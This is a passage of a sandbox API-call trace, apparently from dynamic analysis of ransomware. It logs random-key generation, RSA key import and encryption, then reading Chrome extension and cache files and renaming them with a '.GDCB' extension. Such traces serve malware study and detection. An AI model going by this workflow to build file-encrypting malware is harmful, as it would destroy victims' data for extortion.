Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0281.174] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0281.178] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.180] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.180] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0281.180] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.180] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.185] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0281.185] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.186] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.188] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f160) returned 1 [0281.188] CryptGetKeyParam (in: hKey=0x678f160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.188] CryptEncrypt (in: hKey=0x678f160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0281.189] GetLastError () returned 0x0 [0281.189] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.189] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0281.191] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f6a0) returned 1 [0281.191] CryptGetKeyParam (in: hKey=0x678f6a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.191] CryptEncrypt (in: hKey=0x678f6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0281.191] GetLastError () returned 0x0 [0281.191] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.191] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0281.192] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.195] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.198] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3d11, lpOverlapped=0x0) returned 1 [0281.218] VirtualAlloc (lpAddress=0x0, dwSize=0x3d20, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.225] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.gdcb")) returned 1 [0281.230] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0281.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.235] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.235] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0281.235] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.235] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0281.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.240] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0281.240] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.240] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.242] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f6e0) returned 1 [0281.242] CryptGetKeyParam (in: hKey=0x678f6e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.242] CryptEncrypt (in: hKey=0x678f6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0281.243] GetLastError () returned 0x0 [0281.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.243] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0281.244] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f220) returned 1 [0281.245] CryptGetKeyParam (in: hKey=0x678f220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0281.245] CryptEncrypt (in: hKey=0x678f220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0281.245] GetLastError () returned 0x0 [0281.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.245] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0281.246] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.249] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.252] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x3d72, lpOverlapped=0x0) returned 1 [0281.261] VirtualAlloc (lpAddress=0x0, dwSize=0x3d80, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.270] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 0 [0281.276] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0281.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.284] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0281.284] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.284] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0281.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.291] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.291] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0281.291] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.292] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0281.294] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678da60) returned 1 [0281.295] CryptGetKeyParam (in: hKey=0x678da60, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0281.295] CryptEncrypt (in: hKey=0x678da60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0281.295] GetLastError () returned 0x0 [0281.295] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.295] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0281.298] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678f720) returned 1 [0281.298] CryptGetKeyParam (in: hKey=0x678f720, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0281.298] CryptEncrypt (in: hKey=0x678f720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0281.298] GetLastError () returned 0x0 [0281.298] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0281.300] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0281.304] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0281.307] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x7299, lpOverlapped=0x0) returned 1 [0281.320] VirtualAlloc (lpAddress=0x0, dwSize=0x72a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0281.329] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.gdcb")) returned 0 [0281.331] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0281.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.337] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.337] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0281.337] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.337] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0281.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0281.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.343] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0281.345] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678f760) returned 1 [0281.345] CryptGetKeyParam (in: hKey=0x678f760, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0281.345] CryptEncrypt (in: hKey=0x678f760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0281.346] GetLastError () returned 0x0 [0281.346] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0281.346] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0281.347] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678f260) returned 1 [0281.348] CryptGetKeyParam (in: hKey=0x678f260, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0281.348] CryptEncrypt (in: hKey=0x678f260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0281.348] GetLastError () returned 0x0 [0281.348] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.348] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0281.403] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0281.407] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.410] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0281.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0281.410] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0281.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.415] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.415] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0281.415] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.415] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0281.417] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678f3e0) returned 1 [0281.417] CryptGetKeyParam (in: hKey=0x678f3e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0281.417] CryptEncrypt (in: hKey=0x678f3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0281.418] GetLastError () returned 0x0 [0281.418] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.418] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0281.420] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678f420) returned 1 [0281.425] CryptGetKeyParam (in: hKey=0x678f420, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0281.425] CryptEncrypt (in: hKey=0x678f420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0281.425] GetLastError () returned 0x0 [0281.425] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.425] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0281.426] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce40000 [0281.429] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce50000 [0281.431] ReadFile (in: hFile=0x520, lpBuffer=0xce50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xce50000*, lpNumberOfBytesRead=0x285d3e8*=0x5a, lpOverlapped=0x0) returned 1 [0281.440] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0xcf60000 [0281.446] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Service Worker\\CacheStorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\service worker\\cachestorage\\28da9c56fde4021055a681112c092453f74d8dd8\\index.txt.gdcb")) returned 1 [0281.463] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0281.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.471] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.471] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0281.471] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0281.472] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0281.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0281.478] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0281.478] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: 